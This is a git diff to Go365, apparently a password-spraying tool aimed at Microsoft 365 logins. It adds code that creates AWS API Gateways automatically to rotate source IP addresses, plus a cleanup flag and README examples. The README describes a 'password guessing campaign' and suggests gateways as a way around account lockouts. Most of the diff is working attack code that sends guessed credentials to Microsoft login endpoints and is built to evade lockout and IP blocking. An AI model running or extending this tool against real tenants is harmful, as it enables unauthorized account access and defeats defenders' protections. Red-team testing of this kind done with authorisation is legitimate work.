diff --git a/Go365.go b/Go365.go index 588a7d8..95fc53f 100644 --- a/Go365.go +++ b/Go365.go @@ -18,13 +18,19 @@ import ( "encoding/json" "flag" "fmt" - "io/ioutil" + "io" + "log" "math/rand" "net/http" "os" "strings" "time" + "github.com/aws/aws-sdk-go/aws" + "github.com/aws/aws-sdk-go/aws/awserr" + "github.com/aws/aws-sdk-go/aws/credentials" + "github.com/aws/aws-sdk-go/aws/session" + "github.com/aws/aws-sdk-go/service/apigateway" "github.com/beevik/etree" "github.com/fatih/color" "golang.org/x/net/proxy" @@ -96,6 +102,12 @@ const ( : Highly recommended that you use this option. Google it, or : check this out: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/ : (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login) + -ak AWS Access Key + : Used for automatic API gateway deployment + -sk AWS Secret Key + : Used for automatic API gateway deployment. + -cleanup Cleanup AWS gateways + : Cleans up automatically deployed AWS gateways. -ak and -sk are required for this flag. -debug Debug mode. : Print xml response Examples: @@ -166,6 +178,191 @@ func randomProxy(proxies []string) string { } +// createAWSAPIGateway creates an API Deployment to proxy the request and returns the proxy URL +func createAPIGateway(accessKey, secretKey, targetUrl string) (string, error) { + var region = "us-east-1" + var endpointName = "proxy" + var proxyUrl string + + creds := credentials.NewStaticCredentials(accessKey, secretKey, "") + sess, err := session.NewSession(&aws.Config{ + Region: aws.String(region), + Credentials: creds, + }) + if err != nil { + return proxyUrl, err + } + + svc := apigateway.New(sess) + + restApi, err := svc.CreateRestApi(&apigateway.CreateRestApiInput{ + EndpointConfiguration: &apigateway.EndpointConfiguration{ + Types: aws.StringSlice([]string{"REGIONAL"}), + }, + Name: aws.String(endpointName), + }) + if err != nil { + return proxyUrl, err + } + + getResource, err := svc.GetResource(&apigateway.GetResourceInput{ + ResourceId: restApi.RootResourceId, + RestApiId: restApi.Id, + }) + if err != nil { + return proxyUrl, err + } + + createdResource, err := svc.CreateResource(&apigateway.CreateResourceInput{ + ParentId: getResource.Id, + PathPart: aws.String("{proxy+}"), + RestApiId: restApi.Id, + }) + if err != nil { + return proxyUrl, err + } + + _, err = svc.PutMethod(&apigateway.PutMethodInput{ + AuthorizationType: aws.String("NONE"), + HttpMethod: aws.String("ANY"), + RequestModels: map[string]*string{}, + RequestParameters: aws.BoolMap(map[string]bool{ + "method.request.path.proxy": true, + "method.request.header.X-My-X-Forwarded-For": true, + }), + ResourceId: getResource.Id, + RestApiId: restApi.Id, + }) + if err != nil { + return proxyUrl, err + } + + _, err = svc.PutIntegration(&apigateway.PutIntegrationInput{ + ConnectionType: aws.String("INTERNET"), + HttpMethod: aws.String("ANY"), + IntegrationHttpMethod: aws.String("ANY"), + RequestParameters: aws.StringMap(map[string]string{ + "integration.request.path.proxy": "method.request.path.proxy", + "integration.request.header.X-Forwarded-For": "method.request.header.X-My-X-Forwarded-For", + }), + ResourceId: getResource.Id, + RestApiId: restApi.Id, + Type: aws.String("HTTP_PROXY"), + Uri: aws.String(targetUrl), + }) + if err != nil { + return proxyUrl, err + } + + _, err = svc.PutMethod(&apigateway.PutMethodInput{ + AuthorizationType: aws.String("NONE"), + HttpMethod: aws.String("ANY"), + RequestModels: map[string]*string{}, + RequestParameters: aws.BoolMap(map[string]bool{ + "method.request.path.proxy": true, + "method.request.header.X-My-X-Forwarded-For": true, + }), + ResourceId: createdResource.Id, + RestApiId: restApi.Id, + }) + if err != nil { + return proxyUrl, err + } + + _, err = svc.PutIntegration(&apigateway.PutIntegrationInput{ + ConnectionType: aws.String("INTERNET"), + HttpMethod: aws.String("ANY"), + IntegrationHttpMethod: aws.String("ANY"), + RequestParameters: aws.StringMap(map[string]string{ + "integration.request.path.proxy": "method.request.path.proxy", + "integration.request.header.X-Forwarded-For": "method.request.header.X-My-X-Forwarded-For", + }), + ResourceId: createdResource.Id, + RestApiId: restApi.Id, + Type: aws.String("HTTP_PROXY"), + Uri: &targetUrl, + }) + if err != nil { + return proxyUrl, err + } + + _, err = svc.CreateDeployment(&apigateway.CreateDeploymentInput{ + RestApiId: restApi.Id, + StageName: aws.String(endpointName), + }) + if err != nil { + return proxyUrl, err + } + + _, err = svc.CreateUsagePlan(&apigateway.CreateUsagePlanInput{ + ApiStages: []*apigateway.ApiStage{ + { + ApiId: restApi.Id, + Stage: aws.String(endpointName), + }, + }, + Description: restApi.Id, + Name: aws.String(endpointName), + }) + if err != nil { + return proxyUrl, err + } + + proxyUrl = fmt.Sprintf("https://%s.execute-api.%s.amazonaws.com:443/%s", *restApi.Id, region, endpointName) + fmt.Println("[i] AWS Gateway created:", proxyUrl) + fmt.Println("[i] Remember to delete gateway using -cleanup flag!") + return proxyUrl, nil +} + +// cleanUpAWSAPIGateways cleans up unused AWS gateways, due to AWS rate limiting, this function will loop until all +// the created API endpoints are deleted, sleeping for 10 seconds when the rate limit is hit +func cleanUpAWSAPIGateways(accessKey, secretKey string) error { + var region = "us-east-1" + var endpointName = "proxy" + creds := credentials.NewStaticCredentials(accessKey, secretKey, "") + sess, err := session.NewSession(&aws.Config{ + Region: aws.String(region), + Credentials: creds, + }) + if err != nil { + return err + } + +Retry: + svc := apigateway.New(sess, &aws.Config{ + Region: aws.String(region), + }) + restApi, err := svc.GetRestApis(&apigateway.GetRestApisInput{}) + if err != nil { + return err + } + + for _, x := range restApi.Items { + if *x.Name == endpointName { + log.Printf("[-] Deleting API \"%s\", with ID \"%s\"", *x.Name, *x.Id) + _, err := svc.DeleteRestApi(&apigateway.DeleteRestApiInput{ + RestApiId: x.Id, + }) + + if err != nil { + if awsErr, ok := err.(awserr.Error); ok { + if awsErr.Code() == "TooManyRequestsException" { + log.Printf("[!] API Throttled in region %s sleeping for 10 seconds...\n", region) + time.Sleep(10 * time.Second) + goto Retry + } else { + return err + } + } + } + + } + + } + + return nil +} + type flagVars struct { flagHelp bool flagEndpoint string @@ -175,6 +372,8 @@ type flagVars struct { flagPassword string flagPasswordFile string flagUserPassFile string + flagAccessKey string + flagSecretKey string flagDelay int flagWaitTime int flagProxy string @@ -182,6 +381,7 @@ type flagVars struct { flagOutFilePath string flagAWSGatewayURL string flagDebug bool + flagCleanup bool } func flagOptions() *flagVars { @@ -193,6 +393,8 @@ func flagOptions() *flagVars { flagPassword := flag.String("p", "", "") flagPasswordFile := flag.String("pl", "", "") flagUserPassFile := flag.String("up", "", "") + flagAccessKey := flag.String("ak", "", "") + flagSecretKey := flag.String("sk", "", "") flagDelay := flag.Int("delay", 3600, "") flagWaitTime := flag.Int("w", 1, "") flagProxy := flag.String("proxy", "", "") @@ -200,6 +402,7 @@ func flagOptions() *flagVars { flagProxyFile := flag.String("proxyfile", "", "") flagAWSGatewayURL := flag.String("url", "", "") flagDebug := flag.Bool("debug", false, "") + flagCleanup := flag.Bool("cleanup", false, "") flag.Parse() return &flagVars{ flagHelp: *flagHelp, @@ -210,6 +413,8 @@ func flagOptions() *flagVars { flagPassword: *flagPassword, flagPasswordFile: *flagPasswordFile, flagUserPassFile: *flagUserPassFile, + flagAccessKey: *flagAccessKey, + flagSecretKey: *flagSecretKey, flagDelay: *flagDelay, flagWaitTime: *flagWaitTime, flagProxy: *flagProxy, @@ -217,55 +422,79 @@ func flagOptions() *flagVars { flagOutFilePath: *flagOutFilePath, flagAWSGatewayURL: *flagAWSGatewayURL, flagDebug: *flagDebug, + flagCleanup: *flagCleanup, } } -func doTheStuffGraph(un string, pw string, prox string) (string, color.Attribute) { +func doTheStuffGraph(un string, pw string, prox string, autoAws bool) (string, color.Attribute) { var returnString string var returnColor color.Attribute - client := &http.Client{} // Devs - uncomment this code if you want to skip cert validation (burp+proxifier) //client := &http.Client{ // Transport: &http.Transport{ // TLSClientConfig: &tls.Config{InsecureSkipVerify:true}, // }, //} + var body []byte + if autoAws { + requestBody := fmt.Sprintf(`grant_type=password&password=` + pw + `&client_id=4345a7b9-9a63-4910-a426-35363201d503&username=` + un + `&resource=https://graph.windows.net&client_info=1&scope=openid`) + request, err := http.NewRequest("POST", prox, strings.NewReader(requestBody)) + if err != nil { + log.Println("Error creating request:", err) + } + request.Header.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)") - requestBody := fmt.Sprintf(`grant_type=password&password=` + pw + `&client_id=4345a7b9-9a63-4910-a426-35363201d503&username=` + un + `&resource=https://graph.windows.net&client_info=1&scope=openid`) - // If a proxy was set, do this stuff - if prox != "" { - dialSOCKSProxy, err := proxy.SOCKS5("tcp", prox, nil, proxy.Direct) + resp, err := http.Post(prox, "text/html", request.Body) if err != nil { - fmt.Println("Error connecting to proxy.") - os.Exit(1) + log.Println(err) } - tr := &http.Transport{Dial: dialSOCKSProxy.Dial} - client = &http.Client{ - Transport: tr, - Timeout: 5 * time.Second, + defer resp.Body.Close() + + // Read and print the response body + body, err = io.ReadAll(resp.Body) + if err != nil { + log.Println("Error reading response body:", err) + } + + } else { + client := &http.Client{} + requestBody := fmt.Sprintf(`grant_type=password&password=` + pw + `&client_id=4345a7b9-9a63-4910-a426-35363201d503&username=` + un + `&resource=https://graph.windows.net&client_info=1&scope=openid`) + // If a proxy was set, do this stuff + if prox != "" { + dialSOCKSProxy, err := proxy.SOCKS5("tcp", prox, nil, proxy.Direct) + if err != nil { + fmt.Println("Error connecting to proxy.") + os.Exit(1) + } + tr := &http.Transport{Dial: dialSOCKSProxy.Dial} + client = &http.Client{ + Transport: tr, + Timeout: 5 * time.Second, + } + } + // Build http request + request, err := http.NewRequest("POST", targetURL, bytes.NewBuffer([]byte(requestBody))) + request.Header.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)") + if err != nil { + panic(err) + } + // Send http request + response, err := client.Do(request) + if err != nil { + color.Set(color.FgRed) + fmt.Println("[!] Could not connect to microsoftonline.com\n") + fmt.Println("[!] Debug info below:") + color.Unset() + panic(err) + } + defer response.Body.Close() + // Read response + body, err = io.ReadAll(response.Body) + if err != nil { + print(err) } } - // Build http request - request, err := http.NewRequest("POST", targetURL, bytes.NewBuffer([]byte(requestBody))) - request.Header.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)") - if err != nil { - panic(err) - } - // Send http request - response, err := client.Do(request) - if err != nil { - color.Set(color.FgRed) - fmt.Println("[!] Could not connect to microsoftonline.com\n") - fmt.Println("[!] Debug info below:") - color.Unset() - panic(err) - } - defer response.Body.Close() - // Read response - body, err := ioutil.ReadAll(response.Body) - if err != nil { - print(err) - } + var data map[string]interface{} if err := json.Unmarshal([]byte(body), &data); err != nil { panic(err) @@ -313,11 +542,10 @@ func doTheStuffGraph(un string, pw string, prox string) (string, color.Attribute return returnString, returnColor } -func doTheStuffRst(un string, pw string, prox string) (string, color.Attribute) { +func doTheStuffRst(un string, pw string, prox string, autoAws bool) (string, color.Attribute) { var returnString string var returnColor color.Attribute requestBody := fmt.Sprintf(`http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issuehttps://login.microsoftonline.com/rst2.srf5Managed IDCRL` + un + `` + pw + `http://schemas.xmlsoap.org/ws/2005/02/trust/Issueonline.lync.com`) - client := &http.Client{} // Devs - uncomment this code if you want to skip cert validation (burp+proxifier) //client := &http.Client{ // Transport: &http.Transport{ @@ -325,40 +553,65 @@ func doTheStuffRst(un string, pw string, prox string) (string, color.Attribute) // }, //} - // Build http request - request, err := http.NewRequest("POST", targetURL, bytes.NewBuffer([]byte(requestBody))) - request.Header.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)") - if err != nil { - panic(err) - } - // Set proxy if enabled - if prox != "" { - dialSOCKSProxy, err := proxy.SOCKS5("tcp", prox, nil, proxy.Direct) + var body []byte + // AWS endpoint uses standard HTTP connection instead of SOCKS5 + if autoAws { + request, err := http.NewRequest("POST", prox, strings.NewReader(requestBody)) if err != nil { - fmt.Println("Error connecting to proxy.") - os.Exit(1) + log.Println("Error creating request:", err) } - tr := &http.Transport{Dial: dialSOCKSProxy.Dial} - client = &http.Client{ - Transport: tr, - Timeout: 5 * time.Second, //set to 15 when done + request.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582") + + resp, err := http.Post(prox, "application/xml", request.Body) + if err != nil { + log.Println(err) + } + defer resp.Body.Close() + + // Read and print the response body + body, err = io.ReadAll(resp.Body) + if err != nil { + log.Println("Error reading response body:", err) + } + } else { + // Build http request + request, err := http.NewRequest("POST", targetURL, bytes.NewBuffer([]byte(requestBody))) + request.Header.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)") + if err != nil { + panic(err) + } + + client := &http.Client{} + // Set proxy if enabled + if prox != "" { + dialSOCKSProxy, err := proxy.SOCKS5("tcp", prox, nil, proxy.Direct) + if err != nil { + fmt.Println("Error connecting to proxy.") + os.Exit(1) + } + tr := &http.Transport{Dial: dialSOCKSProxy.Dial} + client = &http.Client{ + Transport: tr, + Timeout: 5 * time.Second, //set to 15 when done + } + } + // Send http request + response, err := client.Do(request) + if err != nil { + color.Set(color.FgRed) + fmt.Println("[!] Could not connect to microsoftonline.com. Check your comms.\n") + fmt.Println("[!] Debug info below:") + color.Unset() + panic(err) + } + defer response.Body.Close() + // Read response + body, err = io.ReadAll(response.Body) + if err != nil { + print(err) } } - //Send http request - response, err := client.Do(request) - if err != nil { - color.Set(color.FgRed) - fmt.Println("[!] Could not connect to microsoftonline.com. Check your comms.\n") - fmt.Println("[!] Debug info below:") - color.Unset() - panic(err) - } - defer response.Body.Close() - // Read response - body, err := ioutil.ReadAll(response.Body) - if err != nil { - print(err) - } + // Parse response xmlResponse := etree.NewDocument() xmlResponse.ReadFromBytes(body) @@ -424,6 +677,28 @@ func main() { fmt.Printf("%s\n", usage) os.Exit(0) } + // -ak -sk + var autoAWS = false + if opt.flagAccessKey != "" && opt.flagSecretKey != "" { + fmt.Println(color.CyanString("[i] Automatic AWS gateway configured")) + + if opt.flagCleanup { + err := cleanUpAWSAPIGateways(opt.flagAccessKey, opt.flagSecretKey) + if err != nil { + panic(err) + } + fmt.Println(color.GreenString("[i] Cleanup complete!\n")) + os.Exit(0) + } + if opt.flagAWSGatewayURL != "" { + fmt.Println(color.RedString("[!] Cannot provide AWS Gateway URL as well as AWS credentials, the gateway is created automatically!\n")) + os.Exit(0) + } else { + autoAWS = true + } + + } + // -u if opt.flagUsername != "" { usernameList = append(usernameList, opt.flagUsername) @@ -529,6 +804,7 @@ func main() { } fmt.Println(color.CyanString("[i] Optional proxy file configured: " + opt.flagProxyFile)) } + // -o if opt.flagOutFilePath != "" { outFile, err = os.OpenFile(opt.flagOutFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) @@ -558,12 +834,19 @@ func main() { } // -endpoint + var proxyUrl string if opt.flagEndpoint == "rst" { color.Set(color.FgCyan) fmt.Println("[i] Using the rst endpoint...") if opt.flagAWSGatewayURL != "" { fmt.Println("[i] Make sure your AWS Gateway (for the -url setting) is pointing to https://login.microsoftonline.com/rst2.srf") targetURL = opt.flagAWSGatewayURL + } else if autoAWS { + proxyUrl, err = createAPIGateway(opt.flagAccessKey, opt.flagSecretKey, targetURLrst2) + if err != nil { + panic(err) + } + targetURL = proxyUrl } else { targetURL = targetURLrst2 } @@ -574,6 +857,12 @@ func main() { if opt.flagAWSGatewayURL != "" { fmt.Println("[i] Make sure the your AWS Gateway (for the -url setting) is pointing to https://login.microsoft.com/common/oauth2/token ") targetURL = opt.flagAWSGatewayURL + } else if autoAWS { + proxyUrl, err = createAPIGateway(opt.flagAccessKey, opt.flagSecretKey, targetURLgraph) + if err != nil { + panic(err) + } + targetURL = proxyUrl } else { targetURL = targetURLgraph } @@ -602,18 +891,22 @@ func main() { if opt.flagEndpoint == "rst" { proxyInput := "" - if opt.flagProxyFile != "" { - proxyInput := "bp" - for { - proxyInput = randomProxy(proxyList) - if proxyInput == "bp" { + if autoAWS { + proxyInput = proxyUrl + } else { + if opt.flagProxyFile != "" { + proxyInput := "bp" + for { proxyInput = randomProxy(proxyList) - } else { - break + if proxyInput == "bp" { + proxyInput = randomProxy(proxyList) + } else { + break + } } } } - result, col := doTheStuffRst(user, pass, proxyInput) + result, col := doTheStuffRst(user, pass, proxyInput, autoAWS) color.Set(col) fmt.Println(result) color.Unset() @@ -628,18 +921,24 @@ func main() { } else if opt.flagEndpoint == "graph" { proxyInput := "" - if opt.flagProxyFile != "" { - proxyInput := "bp" - for { - proxyInput = randomProxy(proxyList) - if proxyInput == "bp" { + + if autoAWS { + proxyInput = proxyUrl + } else { + if opt.flagProxyFile != "" { + proxyInput := "bp" + for { proxyInput = randomProxy(proxyList) - } else { - break + if proxyInput == "bp" { + proxyInput = randomProxy(proxyList) + } else { + break + } } } } - result, col := doTheStuffGraph(user, pass, proxyInput) + + result, col := doTheStuffGraph(user, pass, proxyInput, autoAWS) color.Set(col) fmt.Println(result) color.Unset() diff --git a/README.md b/README.md index b325feb..401c14c 100644 --- a/README.md +++ b/README.md @@ -124,6 +124,15 @@ Usage: : check this out: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/ : (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login) + -ak AWS Access Key + : Used for automatic API gateway deployment + + -sk AWS Secret Key + : Used for automatic API gateway deployment. + + -cleanup Cleanup AWS gateways + : Cleans up automatically deployed AWS gateways. -ak and -sk are required for this flag. + -debug Debug mode. : Print xml response ``` @@ -137,10 +146,13 @@ Usage: ./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080 ./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt ./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login + ./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -ak -sk You can even schedule out your entire password guessing campaign using the -pl and -delay flags :) ./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200 + + *Protip: If you get a lot of "Account locked out" responses, then you might wanna proxy or use an AWS Gateway. ``` @@ -199,6 +211,32 @@ The tool will randomly iterate through the provided proxy servers and wait for t #### Amazon API Gateway -Additionally, an endpoint url may be specified so this tool can interface with Amazon API Gateway. Setup a gateway to point to the `https://login.microsoftonline.com/rst2.srf` endpoint, then set the -url parameter to the provided `Invoke URL`. Your IP should be rotated with each request. +It is possible to automatically deploy an AWS gateway by providing an AWS access and secret key: + +`-ak -sk ` + +``` +[i] Automatic AWS gateway configured +[i] Using the rst endpoint... +[i] AWS Gateway created: https://.execute-api.us-east-1.amazonaws.com:443/proxy +[i] Remember to delete gateway using -cleanup flag! +[rst] [-] User not found: test.user90@pwnthisfakedomain.com +``` + +This will deploy a gateway that rotates the IP address with each request that points to the endpoint specified with the -endpoint flag. + +After the tool has completed execution, the gateway can be deleted using the cleanup flag. This will loop through all the created endpoints and delete them. If the tool hits the AWS API rate limit, it will sleep for 10 seconds before trying to continue deletion: + +`-ak -sk -cleanup` + +``` +[-] Deleting API "proxy", with ID "sip5q09s76" +[-] Deleting API "proxy", with ID "z0cgsq6f86" +[!] API Throttled in region us-east-1 sleeping for 10 seconds... +[-] Deleting API "proxy", with ID "z0cgsq6f86" +[i] Cleanup complete! +``` + +Additionally, an endpoint url may be specified so this tool can interface with Amazon API Gateway by providing the URL directly. Setup a gateway to point to the `https://login.microsoftonline.com/rst2.srf` endpoint, then set the -url parameter to the provided `Invoke URL`. Your IP should be rotated with each request. `-url https://justanexample.execute-api.us-east-2.amazonaws.com/login` \ No newline at end of file diff --git a/go.mod b/go.mod index 1042b06..349a16b 100644 --- a/go.mod +++ b/go.mod @@ -3,7 +3,8 @@ module github.com/eatonchips/Go365 go 1.16 require ( + github.com/aws/aws-sdk-go v1.45.2 // indirect github.com/beevik/etree v1.1.0 - github.com/fatih/color v1.10.0 - golang.org/x/net v0.0.0-20210222171744-9060382bd457 + github.com/fatih/color v1.15.0 + golang.org/x/net v0.14.0 ) diff --git a/go.sum b/go.sum index 1c8e4fe..cdc1661 100644 --- a/go.sum +++ b/go.sum @@ -1,17 +1,78 @@ +github.com/aws/aws-sdk-go v1.45.2 h1:hTong9YUklQKqzrGk3WnKABReb5R8GjbG4Y6dEQfjnk= +github.com/aws/aws-sdk-go v1.45.2/go.mod h1:aVsgQcEevwlmQ7qHE9I3h+dtQgpqhFB+i8Phjh7fkwI= github.com/beevik/etree v1.1.0 h1:T0xke/WvNtMoCqgzPhkX2r4rjY3GDZFi+FjpRZY2Jbs= github.com/beevik/etree v1.1.0/go.mod h1:r8Aw8JqVegEf0w2fDnATrX9VpkMcyFeM0FhwO62wh+A= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg= github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM= +github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= +github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= +github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg= +github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo= +github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8= github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng= +github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20210222171744-9060382bd457 h1:hMm9lBjyNLe/c9C6bElQxp4wsrleaJn1vXMZIQkNN44= golang.org/x/net v0.0.0-20210222171744-9060382bd457/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= +golang.org/x/net v0.14.0 h1:BONx9s002vGdD9umnlX1Po8vOZmrgH34qlHcD1MfK14= +golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68 h1:nxC68pudNYkKU6jWhgrqdreuFiOQWj1Fs7T3VrH4Pjw= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.11.0 h1:eG7RXZHdqOJ1i+0lgLgCpSXAp6M3LYlAo6osgSi0xOM= +golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= +golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU= +golang.org/x/text v0.3.0/go.mod 